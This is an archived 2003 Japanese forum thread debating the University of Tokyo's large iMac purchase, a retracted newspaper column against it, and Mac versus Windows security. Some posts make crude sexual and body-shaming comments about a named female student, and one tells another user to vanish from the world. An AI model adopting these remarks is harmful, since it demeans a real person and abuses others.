東京大学に Mac 大量導入3
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0001名称未設定
03/10/03 18:14ID:NW/amj4O東京大学に Mac 大量導入
http://pc.2ch.net/test/read.cgi/mac/1064396911/
東京大学に Mac 大量導入
http://pc.2ch.net/test/read.cgi/mac/1064640157/
iMac が 1149 台 (´∀｀)
(p)http://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
0002名称未設定
03/10/03 18:16ID:NW/amj4Oエセコンサルタントの次回コラムにどう反応する。
0003名称未設定
03/10/03 18:20ID:fsOdf+T70004名称未設定
03/10/03 18:23ID:pdZuZHAS最近の２やんねるって「本人」認定基準が下落しまくりだよなぁ。
ネタの一環のつもりなんだろうけど、
自分と違う意見を最初からまともに取り合うつもりが無いのは、ひく。
993 ：名称未設定 ：sage ：03/10/03 16:15 ID:yzV4Dt4H
>>991
ネタにマジレスかもしれんが、
プロとしての責任で（一応）ちゃんとしたところに
書いたコラムが間違いだらけでは非難されて当然だ。
前スレ>>993は>>991に対するレスであるとは思えないんだが。
どこに対するレスなんだ？
0005名称未設定
03/10/03 18:26ID:QMeMm//uhttp://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/comp/269593
東大がiMacを大量導入/アップル原田社長に聞く
http://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/prom/269063
これも>>1に入れるべきだったろ！！
0006名称未設定
03/10/03 18:29ID:CM7ZwxhP補足。
iMacは現在使われてるLinuxのかわり。Windowsのおきかえではない。
一般的なソフト(メーラ、ブラウザ等)はMacのを、一部のソフト(SASやCAD等)
はRDP経由かWindows端末で使う。
あとこれ忘れてるよ。
ttp://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/comp/269593
ttp://biztech.nikkeibp.co.jp/wcs/leaf/CID/onair/biztech/prom/269063
0008名称未設定
03/10/03 18:37ID:yzV4Dt4H本人認定についてじゃなく、
「自分と違う意見を最初からまともに取り合うつもりが無い」あたりへのレスかな。
でも991は2ch全体のことを言ってるようにも読めるので、
はずしたかもしれない。
0009名称未設定
03/10/03 18:43ID:NW/amj4O次期システムにMacを選んだとこに始まり。
http://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
Win信仰者やMac嫌悪者に動揺が広がったことでスレが伸びたが、
さらに火に油を注いだエセITコンサルタントの今や幻のコラム
『なぜLinuxを捨てるのか、東大』に2chの祭りとなる。
http://www.asahi.com/column/aic/index.html
http://www.asahi.com/column/aic/Fri/d_forum/20031003.html
http://tanupack.com/cgi-bin/tanupguest.cgi
次回祭り予定日10/7 タヌキのコラムで何かが起こる!!
0010名称未設定
03/10/03 18:43ID:CM7ZwxhP特に専用モデルを用意するわけではない。
Xserve65台の用途
NetBoot用47台
アプリケーションサーバ 4台
Web proxy 10台
ログサーバ2台
WEBサーバ5台
評価機1台
ファイルサーバ
NEC iStorageNV7220 2台(147GBのHDD142台ファイバーチャネル接続)
ユーザのホームはおそらくここに。
0011名称未設定
03/10/03 18:45ID:WpOQcvDl乙。そろそろWinがどうとか言いだすアホが消えてほしいな。
Windows自体の台数は増えてんだから。
0012名称未設定
03/10/03 18:55ID:95uGC0l3Winなんぞやむを得ず使うだけ。
0013名称未設定
03/10/03 18:56ID:5P+56pv00014名称未設定
03/10/03 18:58ID:4jOgzY4l0015名称未設定
03/10/03 19:10ID:ELmOdVSWなかったことになりそうな予感が。
0016名称未設定
03/10/03 20:42ID:n9J3YRZbOfficeとWinのリモートデスクトップが利用できるからだろ？
後半の二つはMicrosoftのおかげじゃん
まぁ１台でなんでもかんでも利用したいっていう方向は
研究機関ぐらいしかないだろうなぁ…
ふつうは特定のOSと特定のアプリが走れば十分だし
そういう意味では東大の選択はいいとは思いますよ
たまたまMacに環境が揃ってただけだけど
まぁいろいろと周辺からパクってきた成果だと思われ
0017名称未設定
03/10/03 20:56ID:yzV4Dt4H0018名称未設定
03/10/03 21:03ID:NW/amj4Ohttp://www.chester.co.jp/hanna/hannaimages/gallery/sgallery004.jpg
http://www.chester.co.jp/hanna/hannaimages/gallery/sgallery003.jpg
現役東大生です。
0019名称未設定
03/10/03 21:06ID:pdZuZHAS結構、、可愛いじゃん。
0020名称未設定
03/10/03 21:06ID:wjawEbkI穴吹史士：：今週火曜の「デジタルストレス王・なぜLinuxを捨てるのか、
東大」に、筆者の事実誤認がありましたので、全面削除しました。
次週の同コラムで、改めてこの問題に触れ、経過を説明いたします。
読者に誤解を与えたことをお詫びいたします。
0021名称未設定
03/10/03 21:08ID:HD3g/5suここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
ここって単にドザとマカがお互い罵り合うことによって日ごろの欲求不満を解消するために作ったスレだろ
0024名称未設定
03/10/03 21:28ID:dZTINV6+002619
03/10/03 21:32ID:pdZuZHASこいつがマカーならしかたないなあ。
0027名称未設定
03/10/03 21:33ID:+ME8PM/P>六條華
ttp://www.plummy.com/idol/hanna_rokujoh.html
AV女優かとおもたよ
すぐ父出すのな
0028名称未設定
03/10/03 21:35ID:pdZuZHAS父を簡単に出してしまったから、かえって軽そうなイメージがついたからかな。
0029名称未設定
03/10/03 21:39ID:KE24ZpHJ女は良いよな
0031名称未設定
03/10/03 21:55ID:/UEUySlQえら張りすぎで、しかもしゃくれてる。
マカであること以外に良い点は無し
0033名称未設定
03/10/03 22:25ID:v9rYh+g7それにしても六篠華、足が太くないか？
0034名称未設定
03/10/03 22:55ID:OWUfNhs27日が非難轟々だったら、また祭りだな
0035名称未設定
03/10/03 22:57ID:x0sqTWWA0036名称未設定
03/10/03 23:01ID:dCBjBG9f男がてぃむぽだすと変態扱いなのに
女がまむこだすと女神扱いされる。
男女差別だ。
0037名称未設定
03/10/03 23:04ID:uF9DU4Ut0038名称未設定
03/10/04 07:54ID:o798K2W8去る9月25日、コンピュータのOSに関する非常に興味深いニュースが２つ配信された。
ひとつは、日本生まれのOS・TRON（トロン）を、携帯情報機器やネットワーク接続型の家電機器などで効率よく開発するための共同組織「T-Engineフォーラム」に、マイクロソフト社が加わったというニュース。
もうひとつは、TRONの開発者・坂村健教授もいる東京大学が、学内の共用コンピュータとして、現在のLinuxベースのものに替えて、iMac約1400台を導入するというニュースだ。
どちらも、しばらくはその意味について、はたと考え込んでしまった。
ー続くー
0039名称未設定
03/10/04 07:57ID:o798K2W8その坂村教授のいる東大では、Linuxベースのコンピュータに替えてiMacの大量導入を決定したという。
う～～む。
下手なことを言うと、またまたMacユーザーからのお叱りのメールがたくさん来そうだが、本当にそれでいいのだろうか。
東大とはなんの関係もない部外者のたわごと、余計なお世話だということも承知している。
また、最初に断っておくが、Windowsを採用すべき?ｾったなどと言うつもりはまったくない。
ただ、僕としては、Macを採用することよりも、Linux（つまりUNIX系OS）を捨ててしまうことに大きな疑問と危惧を抱くのだ。
LinuxやFREEBSDなどのUNIX系OSは、オープンソースであり、誰もが開発・改良に参加できる。
システムを組むにしても、その気になればゼロから学んでいける。
UNIXというOSは、もともと大学で生まれたものだ。ソースを公開し、不備があればみんなで改良していきましょうと呼びかけ、育ってきたOSだ。
この「共有の姿勢」こそ、教育現場には不可欠なものだろう。
日本を代表する大学で、学内のシステムをオープンソース系のOSではなく、企業が提供するブラックボックスOSで構築していくという方向転換は、単なるハードの機種選びとは違う意味を持っている。
今回の決定をした責任者は、それを分かっているのだろうか。
0040名称未設定
03/10/04 08:01ID:o798K2W8不具合が起きても自分で直しやすい利点がある」と述べているそうだが、そんなことはない。
そうした利点を言うならUNIX系OSだろう。
そもそもMacOSとWindowsを比べていることがおかしい。
UNIX系OSは最初から除外されていたかのようだ。
Windows全盛の現代において、学内のコンピュータがUNIX系だから、仕方なくUNIXの勉強をするという学生は多いはずだ。その結果、プログラ?~ング能力も養われるし、ネットワークの構築・管理に関する技術も身につく。
適度な不自由さ、壁の高さは、学問の場には必要である。
ああ、うざったいなあこのLinuxってやつは、と言いながら、新しいGUI環境を開発する東大生が出てくるかもしれない。それでこそ東大、と思うのだが。
0041名称未設定
03/10/04 08:02ID:o798K2W8ソフトだけではない。
ハードにしても、 IBMの互換機のように早くから仕様公開し、他社が製造することを許していたら、今頃世界中のパソコンはWindowsではなくMacだったかもしれない。
大学が採用するOSに対しては、バグがあったらソースを見て自分たちで直すという気概があってしかるべきではないか。メーカーがバグフィックスしてくれるまで待ちます、では情けない。
印刷所のコンピュータは道具だ。出版社のコンピュータも道具だ。
与えられたものをそのまま使いこなすだけでも問題はない。だが、大学で学生が触れるコンピュータには、単なる道具以上の意味合いがある。もっとも基本的な「教材」であり、他者とコミュニケーションするための「共通言語」でもある。
0042名称未設定
03/10/04 08:03ID:o798K2W8今なお、学者たちの中には、出版社に適切な形で原稿を渡せない人たちが多い。そうした人たちの中には、Macユーザーが結構いる。
ただの文字原稿を、Macのワープロソフトで作成し、その独自形式のままファイルを渡す人がいる。
マックバイナリがついたままのファイルをLHAやZIPで圧縮し、「Windowsで読めるようにしておきました」と言っている人もいる。
MacOSの「やさしさ」は、MacOS同士限定の「やさしさ」であることが多い。マウスでアイコンを押す以外の操作はしたくない、という学生が増えるとしたら、決して歓迎されることではない。
東大のコンピュータがほとんどMacOSになるということは、UNIXやWindowsユーザーとのファイルのやりとりなども経験しないまま大学を卒業する学生が増えてしまうことにもつながるのではないか？
日本の未来を担う優秀な若者たち（なんていう言い方は嫌いだけど）が、コンピュータとは何かという根本理念を学び損なったまま学生生活を送るのはもったいない。
0043名称未設定
03/10/04 08:07ID:wPYwVFRvでいいのか？TVや活字メディアでは考えられないお手軽さだな！
0045名称未設定
03/10/04 08:16ID:3hdRsBEN>39
>40
>41
>42
あおりで書いたならごくろうさん。
本気で書いたならアホ。
0046名称未設定
03/10/04 08:21ID:wPYwVFRvAppleがマスコミとは知りませんでした。大変勉強になります、ありがとうございました。
>>45
これは例の消されたコラムだよ。
0047名称未設定
03/10/04 08:44ID:U/JL7esz>お叱りのメールがたくさん来そうだが、
まんまとその通りになったね。マカヘイトメール伝説またひとつ
0050名称未設定
03/10/04 09:22ID:iUdaSGSX今回の件の波及効果ってどのくらいあるのかな。
0051名称未設定
03/10/04 09:24ID:+wtphgaKデタラメを書いたらお叱りの電話や手紙が来るのはどこでも当たり前。
だからテレビなんかじゃしょっちゅう訂正とお詫びやってるじゃん。
既出の東大助手のMacを採用した理由のコメントとこのコラムのコメントを比べりゃ、
いかに妄想だけで書いてるか分かるだろうに。トンチンカンなこと言ってるぞ。
おそらくMac導入ってニュースだけ聞いてムカついて即行記事書いたんだろ。
ついでに、下手なこと言ってまたまたマカからお叱りってところを見ると、
いかにMac嫌いアポー嫌いが先攻してコラム書いてるってことだよな。
それじゃまるで２ちゃん某板のアンチMacレスと変わらない。金もらって記事書く
プロじゃねーよ。
悪口書くならマカでもグーの根が出ないこと書けっての。
直噴型の頭クールにして、掲載する前によーく調べてさ。Mac全然知らなそうだし。
偏見で書くから内容も甘いよ。
アンチアポにせよアンチMSにせよ、ハナから腹が見えかくれする記事は結局
誰の支持も得られない。
0052名称未設定
03/10/04 09:25ID:wzFljRo60053名称未設定
03/10/04 09:31ID:KnZTPr3S使えないから淘汰された機械に波及効果なんて無いだろ
マカは飛躍しまくった妄想膨らませてるけどな
東大に導入されたことにより、マカの存在による弊害がより顕著に浮き彫りになるだけだ
今回が、蝋燭の消える寸前の炎だろ
0054名称未設定
03/10/04 09:33ID:k85PfzQhドザの方がマジ恐いと思うぞ
平日昼間から秋葉のエロゲあさりまくってる連中マジ近寄れねえ
おまいはエロゲもnyもMXもやってないんだろ？？
>>53
MacOS8のころからつぶれるってドザに言われてる
望みどおり早く潰してくれよ
それに文句あるなら東大のMac採用した連中に文句言いに行きな
0056名称未設定
03/10/04 09:43ID:wPYwVFRv後追い、ゼロではなかったと言うかほぼ０だったと言うか.... さすがにあの規模では（大学は）ありません。
NTTが1000台規模で導入したような気はするが。
0057名称未設定
03/10/04 09:51ID:zy5kijm/ドザちゃんどーしてこうもいらっしゃるの
それはマカぼんも出かけてるからね
土日はドザースデイw
学生かのう、ヒキーかのう。生徒かー？
0058名称未設定
03/10/04 10:17ID:enPzN1Vyアプー倒産でゴミになると。元々ゴミ同然の欠陥マシンだからねえ。
で、税金の無駄遣いで追求される週刊誌の導入経緯の記事で暴露されると。
よくあるシナリオ。決して爆発的な普及とかの展開にならないのが定説だな。
0059名称未設定
03/10/04 10:19ID:39PX2X82神戸大学、神奈川大学、大阪電気通信大学、九州大学
ここら辺りもNeXTだった気がするよ。
他にもたくさんあったような。
0067名称未設定
03/10/04 10:41ID:h9/ugwGX－－（引用）－－
> 学生の持ち込みPCもNetbootするのかな？
現行機種では可能。
そうした運用をやるかどうかの決断次第。
957 名前：名称未設定 投稿日：03/10/03 01:55 ID:hUw/Misn
>>956
安藤さんのインタビューでそんなことをちらっといっていたような
－－－－－－－－－
ということは、やはり学生の個人所有のパソコンも当然Macに
なりますね。
現状ではそんなに多くないですけどね、15%くらいか。
だいたい、今回大量導入が決まるまで、各研究室レベルは別として、
計算機センターにも、一階に古ぼけたPowerPC機が一台あるだけ
でしたから、ほんとに大転換といっていいと思います。
これまではMacの利用はほとんど考慮されてなかった。
生協にも１０年ほど前はたくさんありましたが、最近は展示さえ
されてませんでしたから。
0068名称未設定
03/10/04 10:46ID:EKAWLqTI>生協にも１０年ほど前はたくさんありましたが
嗚呼、Macシェア数十パーセントの良き時代（30～40％？それ以上だったっけ？）
あったんだよねえ。嘘のようw
もちった頑張ってくれ
0070名称未設定
03/10/04 11:16ID:mmTee8zuここまで芸のない書き込みには
もはや突っ込みも入れる気起こらないよね(w。
文章の古くささから、年輩の感じがするけど、やっぱたくき本人？(w
0071名称未設定
03/10/04 11:23ID:Vn/JfnO00072名称未設定
03/10/04 11:36ID:FvClYv6Q東京まんこ
0073名称未設定
03/10/04 11:40ID:GEjQoRaP残念ながら違いますね。
私は彼女からたまにメールをもらいますが、
使用メーラーはOutlookExpressです。
0074名称未設定
03/10/04 11:40ID:iD5Mjgdo0076名称未設定
03/10/04 11:45ID:MXDAFbfP嘘いっちゃあいけないよ？
あいつマジうざいってのに毎朝ラブメールよこすんだよなー
使用メーラーはいつもサイバードックだぞ？
0077名称未設定
03/10/04 11:51ID:E6vP8X8s楽園のような大学生活を経て、社会にでて糞Windowsの洗礼をうける
いいことじゃねえか
いぱーいWindowsで苦労して、偉くなったら日本を改革してくれ
官公庁が全部Macになったら、民間も追従するしかないんだからな
0078名称未設定
03/10/04 11:53ID:UVHB2iB+いた。インターネットに繋がっているパソコンの画面上でプロ野球の展開が
わかる…とかいう、たわいもないソフトを「役立つよ」と紹介している。
しかしまぁ、氏がいまだにパソコンについて語っているというだけで笑えるな。
0079名称未設定
03/10/04 12:00ID:ThacKyyX１種受かって官公庁に入る連中にはMacの使い勝手理解してるヤシらもいるから、
このままWinが変わらなければまったくあ～り得ない話でもないよねぇ～。DAKARA
今度、MSジャパンはNetBoot環境と構築サポの経費削減に力入れるだろうね。
シェアがちっさくなっても相変わらずMSの好敵手ってとこが面白い。
いすゞビッグホーンに期待
0080名称未設定
03/10/04 12:32ID:JApSf7OW先生達の話を立ち聞きしただけですが…
0082名称未設定
03/10/04 15:14ID:2IAfQTuMこれで、本当に安定稼動すれば、追随する所がたくさん出そうだ。
早稲田なんか、Winの所為ではないんだろうけど、履修システムがダウンしてぼろぼろみたいだし。
0083名称未設定
03/10/04 15:41ID:KnZTPr3S世の中はマジョリティOSを使い
マジョリティ、高機能故のセキュリティ管理に悩まされている。
OSXは堅牢で優れているから、セキュリティが高いのではなく
悲しいくらい小さいシェアと低機能故の産物である。
よって、東大の選択は、単なる現実逃避にしかなっていない。
0084名称未設定
03/10/04 15:44ID:Vn/JfnO0現実と戦うならば、あえて危険の高いWINDOWZを導入し問題的を行うと同時に、
M$と協力してバグを潰しセキュリティを高める努力をするべきだな！
0085名称未設定
03/10/04 15:44ID:qf+nmlbO0086名称未設定
03/10/04 15:44ID:Vn/JfnO0o 問題提起 だ
0087名称未設定
03/10/04 15:45ID:BrlTr8dU釣りだとは分かっているんだが、ちゃんとwindowsも使えるよ? ターミナルサーバーエディションで。
普段使いの端末をマイノリティであるが故に安全なOSにすることは管理側としては大きな利点であろう。
高機能でもコストがかかっちゃたまりません。
0088名称未設定
03/10/04 15:45ID:qf+nmlbO0089名称未設定
03/10/04 15:47ID:aDll+q0Oさらに言えば、マイノリティだからだろうがなんだろうが、そこに残るのは
ウィルス被害が少ないという厳然たる事実だ。その明らかな利点を選択理由の１つに掲げる
ことは、少なくとも教育機関としては、エロゲの豊富さや、Winnyが使える、などといった
ドザ的選択理由より遥かに理にかなってる。
0090名称未設定
03/10/04 15:49ID:qf+nmlbO0091名称未設定
03/10/04 16:01ID:7Qme2bOzウィルスにも強いんでないか。
0092名称未設定
03/10/04 16:15ID:6UAaUPs8Macはウィルス被害が少ないと言う今現在の事実は、
セキュリティレベルが高いと言うこと、
今後もウィルス被害が少ないと言う保証
0093名称未設定
03/10/04 16:16ID:6UAaUPs8Macはウィルス被害が少ないと言う今現在の事実は、
セキュリティレベルが高いと言うことの証明ではないし、
今後もウィルス被害が少ないと言う保証にもならない。
と書こうとしたら、途中でenter押しちゃった。
0094名称未設定
03/10/04 16:18ID:BrlTr8dUびっくりして突っ込むところだったよw
そりゃその通りだね。狙おうとする奴が増えればwin同様危険にさらされる可能性は充分にある。
まぁ、今後もおそらくマイノリティであり続けるであろうという意味では安心感があるがw
0095名称未設定
03/10/04 16:28ID:tE6dG8AeWindowsと比べている香具師は勘違いも甚だしい。
最初から相手にしてない。
0096名称未設定
03/10/04 16:29ID:td11rn8I0097名称未設定
03/10/04 16:34ID:tE6dG8Aeと言いたかったわけだが・・・。
0098名称未設定
03/10/04 16:36ID:6UAaUPs80099名称未設定
03/10/04 16:39ID:aDll+q0Oそりゃそうだ。ってか、現状維持の保証なんて、どのOSのどの点についてもあり得ないよ。
極端な話、どのOSだって10年後にはなくなってしまう可能性があるわけだし。
どんな保証もない中、少なくとも現時点で、そして近い将来における展望において、
>>89といえるOSの選択をすることに何が問題があるというのか。
それとも、その保証のなさなんかより１億倍、当てにならないMSの“セキュリティ強化”の
約束を頼りにWinを選択するのかな？
>>93な心配は、シェアがどかんと増えて、それに伴うOSXウィルスプログラマ数の増加
んでもってウィルス被害のシェアでWinと肩を並べてからすればいいことだ。
0100名称未設定
03/10/04 16:41ID:BrlTr8dU0101名称未設定
03/10/04 16:53ID:QPRhD0MD0102名称未設定
03/10/04 16:56ID:UeAVYQ6Kしっかり保守してりゃいいんだろ。端末全部にパッチ当てて回ることもないわけだ。
よく分からんが、アプリだってローカルにはおかないんだろ。
ウィルスなんて恐くないじゃない。
0103名称未設定
03/10/04 17:10ID:JApSf7OW↓を全然読んでいないヤツがいまだにいっぱいいるんだろうね。
http://www.ecc.u-tokyo.ac.jp/announce/2003/09/24_nextsystem.html
0104名称未設定
03/10/04 17:12ID:KnZTPr3S>マイノリティであることはともかく、機能とウィルス被害の少なさには何の関連性もない
馬鹿ですか？
全てにおいて機能面で劣った
↓
誰も選ばす、シェアも1.49％まで落ち込んだ
↓
なおかつOSX使用者は1.49％の内の1..5％
↓
開発者皆無、ウィルスさえ無し
いまさら開発環境つけてもねぇ
現実を見ろよ
例のコラムニストの掲示板荒らしたのも、ほとんど同じIPの繰り返しだそうだ
お前らはもはや絶対数が少なすぎる
そのかわり、ネットや世間じゃ、権利主張ばかりでうるさく、うざすぎる
自分らで、何か改善しようなんて気はさらさらなく
全てはMSの悪行のせい、と常に他所を批判しているばかり
0105名称未設定
03/10/04 17:13ID:UeAVYQ6K回線経由で、授業環境でBootできるのかい？
ADSL程度の回線でも大丈夫なのか？
WindowsServerってのも外からでもつかえるのか？
だとすれば、激しくうらやましいんだが。
0106名称未設定
03/10/04 17:13ID:6UAaUPs8ウィルス対策の本質は、ユーザー数じゃなくてセキュリティレベルの話なんだよ。
OS XとWindows2000辺りを比べた時に、どちらがセキュリティに強いのか、
どちらが脆弱性を併せ持つのか、それを語るべき(そして売り込むべき)であって、
ユーザー数が少ないからウィルス対策やハッキング対策は甘くていいとか、
シェアが高いからウィルス作者が多いんだ、なんてレベルでPC導入を決めると、
そのうち痛い目に遭うってことよ。
東大あたりになりゃ、学術に限らず高価値の情報がイントラに転がってるんだから、
OSが何であろうとシェアが低かろうと、潜りたがる人間はアタックかけるだろうよ。
そうやって狙い撃ちされた時に頼りになるのが、シェア云々だと思ってるのか？
0107名称未設定
03/10/04 17:15ID:Vn/JfnO00108名称未設定
03/10/04 17:24ID:IoREJ9SCMS もこんな事ばかりしてるようでは先がしれてるね。
0110名称未設定
03/10/04 17:28ID:aDll+q0Oんなこたぁ分かってる。それとも何かい？ あんたはOSXが本質的にWin2kあたりより
セキュリティ面で脆弱だといいたいの？ その根拠は？
俺が>>99あたりの論調で話を進めているのは、現時点でのウィルスのシェア的には
Win 99：Mac 1以下だろ？ だからといって、OSXの方が100倍セキュリティに対して
強いわけではない---そのギャップの大部分は、OSXのシェアの低さに起因するものだ、
というドザの主張を汲んだ上でのことだってのが、流れを観て分からないのかね。
0111名称未設定
03/10/04 17:34ID:lrmq+cQi責任逃れを言い出しているけどこれは、車の窓からケツをつきだすようなハコ乗りを
推進しておきながら、事故ったヒトに「安全運転を心がけないアンタが悪い」といって
いるようなものだよね。
ネスケを駆逐するため、OSに一アプリにすぎないIE or OE or Officeをくくりつけてし
まった安易な（ハコ乗り）環境がハッカー気取りのScript Kiddyを呼び寄せているわけ
で、これはセキュリティ意識うんぬん以前の問題。
調子こいてハコ乗りで町中走り回ってたら、珍走に周り囲まれても仕方ないよね。
結局、MSが独占力の維持のため手段を選ばなかったツケがユーザに回って来てるだけ。
アホらし。
0112名称未設定
03/10/04 17:38ID:CFWsYXADWinがウィルスに弱いのは多数派故の副産物だと
自分に言い聞かせている哀れなドザが多い様だが、
Winはウィルス作って大量配付するのに便利な
機能がてんこ盛りだからだと言うことに気付け。
0113名称未設定
03/10/04 17:45ID:cW1t5/KJそもそも何が何に変わったのか理解してない奴がまだいそうだな。
http://www.ecc.u-tokyo.ac.jp/guide/tebiki2002/chap2/chap2.1.html
現行システムの概要
0115名称未設定
03/10/04 17:57ID:qO8bN+JB安心しろ、オレは決してヤツのことは忘れやしないぜ。
0116名称未設定
03/10/04 17:59ID:ldwrRK1g朝日新聞の人間なのか本人なのか不明だな…。
0117名称未設定
03/10/04 18:05ID:IoREJ9SCタヌキの奴、責任転換考えてたりして…。
0119名称未設定
03/10/04 18:14ID:Y9BojwHY0120名称未設定
03/10/04 18:42ID:KnZTPr3Sヘイトメールの歴史そのままだな。
お前ら、2chで血眼になってネガティブレスばかりを探してないか？
一体マックとかって何に使っているのやら
0121名称未設定
03/10/04 18:43ID:GMyRlVlYでも、ちょっと触ってみたいな。もう何年も行ってないけどｗ
0122名称未設定
03/10/04 18:51ID:E8RVkkrqましてや公表して攻撃されたらたまったモンじゃないしね。
0123名称未設定
03/10/04 18:54ID:1AKT9hJbドザ「( ´_ゝ`）ﾌｰﾝ、で？」
東京大学にMac大量導入
マカ「ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!」
0125名称未設定
03/10/04 19:04ID:vFp4sOlK「ヘイトメール」検索したけど何か怖えー
2ch以前からそういう類のものがあったとは思わなかった。。。
しかもトップはMac関連だし。。。
0126名称未設定
03/10/04 19:07ID:E8RVkkrq音楽素人だった僕でも簡単にオリジナル音楽のをCD作って小銭を稼げるようになりました。
同じ音楽素人だった友達はWindowsでは操作が難しいと途中で挫折していました。
0128名称未設定
03/10/04 19:15ID:JApSf7OW計算機のことをわかっている人がいる大学では、なんとかしてWindowsを入れさせまいと
しているようです。Windowsはちゃんとわかっている人じゃないと危なくて使わせられな
いですしね。
0129名称未設定
03/10/04 19:41ID:euMK6yyWなんかアブナイ人たちだなあ
http://www.geocities.co.jp/Milkyway-Lynx/4133/
http://www2.gol.com/users/slowhand/kilmac/kilmac_i.htm
0130名称未設定
03/10/04 21:18ID:2T/zoRMjヘイトメールをMac Userが出しているという妄想を持っている
Windows使い人たちが多いんじゃないかな？
上位に来ているのも、アンチマックのページでしょ。
0131名称未設定
03/10/04 21:32ID:9SwbYiyz書けるわけないのに、なんでドザ系の人って、世間知らずなんだろうね。
同じことを、Winも使うマクユーザーには色々言うくせに。
ほんと、低脳な人間の集団ですなｗ
0133名称未設定
03/10/04 21:46ID:uw7sRBk3酷いコラムだねえ。
つーか、Web系ライターは本当にロクでもないのが多いなあ。
これでギャラが貰えるんだからいい身分だよ（笑
0134名称未設定
03/10/04 21:46ID:KnZTPr3S＞OSX使っていれば、あんなこと
＞書けるわけないのに、なんでドザ系の人って、世間知らずなんだろうね
OSX使っていない＝世間知らず
世の中の100％-1.4％＝98.6％は世間知らずです？
0135名称未設定
03/10/04 21:50ID:2wOUv/CR0136名称未設定
03/10/04 21:50ID:uw7sRBk3ライター業を生業として【プロ】を名乗る人間のやることじゃない。
0137名称未設定
03/10/04 21:53ID:uw7sRBk3考えるべき事と今後気をつけなければならない事が
色々とあるはずだ。
>>135
君も誤ってるぞ（笑
0138名称未設定
03/10/04 21:54ID:9SwbYiyzライター名乗る人間が使いもせずに批判してるんだろ。
しかもろくに調べてもいない。
Windows系のライターって、Macよりエロゲーの方が詳しいのではｗ
まあ、たぶんそっちの方が食えるだろうから、仕方ないけどさ
0139名称未設定
03/10/04 21:57ID:KnZTPr3S普段マカがWinに対して繰り広げてる批判も、相当分かってないちゃんだぞ
数的にはそっちの方がものすごく多いのに、お前らにヘイトメールなんか来ないだろ
別に気にもならないからだよ
いちいち気にするマカって、それだけ余裕が無いんだよ
いつも疑心暗鬼で、被害妄想にかられてるんだよ
だから一個の煽りに、20個も糞レスが湧いてくる
その面白さを知ってしまうと、やめられないのも事実なんだがな
0141名称未設定
03/10/04 22:02ID:9SwbYiyz君はたぶん心の病気だと思いますよ。自意識過剰ではすまないと思うよ。
心療内科か精神科に行った方がいいかと。それともこの世から消えた方がいいかもなｗ
ホント、ドザ必至だね。
Macの使い勝手で、Windowsを使おうとすると不便だし
逆もまた、然り。それを一個人サイトで嘆こうが、そんなの誰も相手しないよ。
0144名称未設定
03/10/04 22:03ID:KnZTPr3Sお前ら一般人の戯れ言だって必死に咎めるだろうに
戯れ言の方が事実である場合が多いが、ここでは
0145名称未設定
03/10/04 22:05ID:0+sB+Hkfま、釣られてるとわかってて書くけどサ
＞いちいち気にするマカって、それだけ余裕が無いんだよ
余裕ってなんだよ？（笑）余裕あるない言ってる時点で(ﾟДﾟ)ﾊｧ? だな。
あんたは余裕があるわけだ。だからアンタみたいなドザは滑稽がられるんだつーの。
0146名称未設定
03/10/04 22:05ID:uw7sRBk3＞お前ら一般人の戯れ言だって必死に咎めるだろうに
は？
悪いけど俺はここでのドザの煽りには興味ないよ。
君の日常を一般化しないでくれ。
0147名称未設定
03/10/04 22:06ID:9SwbYiyz例のコラムを真剣に養護するドザきぼん。
まだ誰も彼の書いた内容について、養護していないような気がするんだけど。
0149名称未設定
03/10/04 22:09ID:2wOUv/CRツッコミあんがと。
0150名称未設定
03/10/04 22:09ID:KnZTPr3S釣られてると分かっていながら、そのレスかよ
しかもリンク先間違えて、ID変えてるとか妄想こいとるし
ほんと、おいしーよな＞お前ら
0151140＝144 ◆JCRhwMLZGU
03/10/04 22:09ID:uw7sRBk3オメーの目は節穴か？タコ。
俺は>>139に対して
一般人のコメントと
プロのライターが書く文章を
同レベルで語るなと言ってるんだ。
0153140＝146 ◆JCRhwMLZGU
03/10/04 22:11ID:uw7sRBk30154名称未設定
03/10/04 22:11ID:KnZTPr3Sそうだよ
もちっと落ち着いて、読んでから書け
0155名称未設定
03/10/04 22:12ID:KnZTPr3Sお前も落ち着けよ
たかが煽りにケアレスミスが大杉＞マカちん
0159140＝146 ◆JCRhwMLZGU
03/10/04 22:18ID:uw7sRBk3オメーさんは釣る釣らないとか
ID間違えたととか言って話を逸らしてるが
問題はオメーが
【『プロの仕事』と『素人のカキコ』を同列に扱ってる】
ってところにあるんだぜ
それは問題ないとでも言うのかい？
0161名称未設定
03/10/04 22:26ID:2wOUv/CR君にも「あんがと」。
しかしみんなレス早いね。
ア、俺が遅いのか、スマソw
0162名称未設定
03/10/04 22:28ID:KnZTPr3S例えば、川崎和男のWindows使う奴は劣等人種のコラムは？
これにゃ、抗議は無くて、同意だろ＞おマカちん
0163名称未設定
03/10/04 22:30ID:Vn/JfnO00165名称未設定
03/10/04 22:31ID:KnZTPr3S煽りにするレスの多さや、お前見てても分かるが
お前らはヒステリックすぎるんだよ
だから世間から疎んじられる
そのヒステリックおマカちんを卒業したとき
洗脳が解け、真実が見え始めるぞ
ほら
もう多くの同士たちは、違う世界に逝っちまってるだろ
0166名称未設定
03/10/04 22:32ID:2wOUv/CR0167140＝146 ◆JCRhwMLZGU
03/10/04 22:40ID:uw7sRBk3悪いが川崎和男のコラムはロクに読んでないので
その話はまた別の機会だ。
一応断っておくと【事実誤認】と【個人的見解】は別の話だぞ。
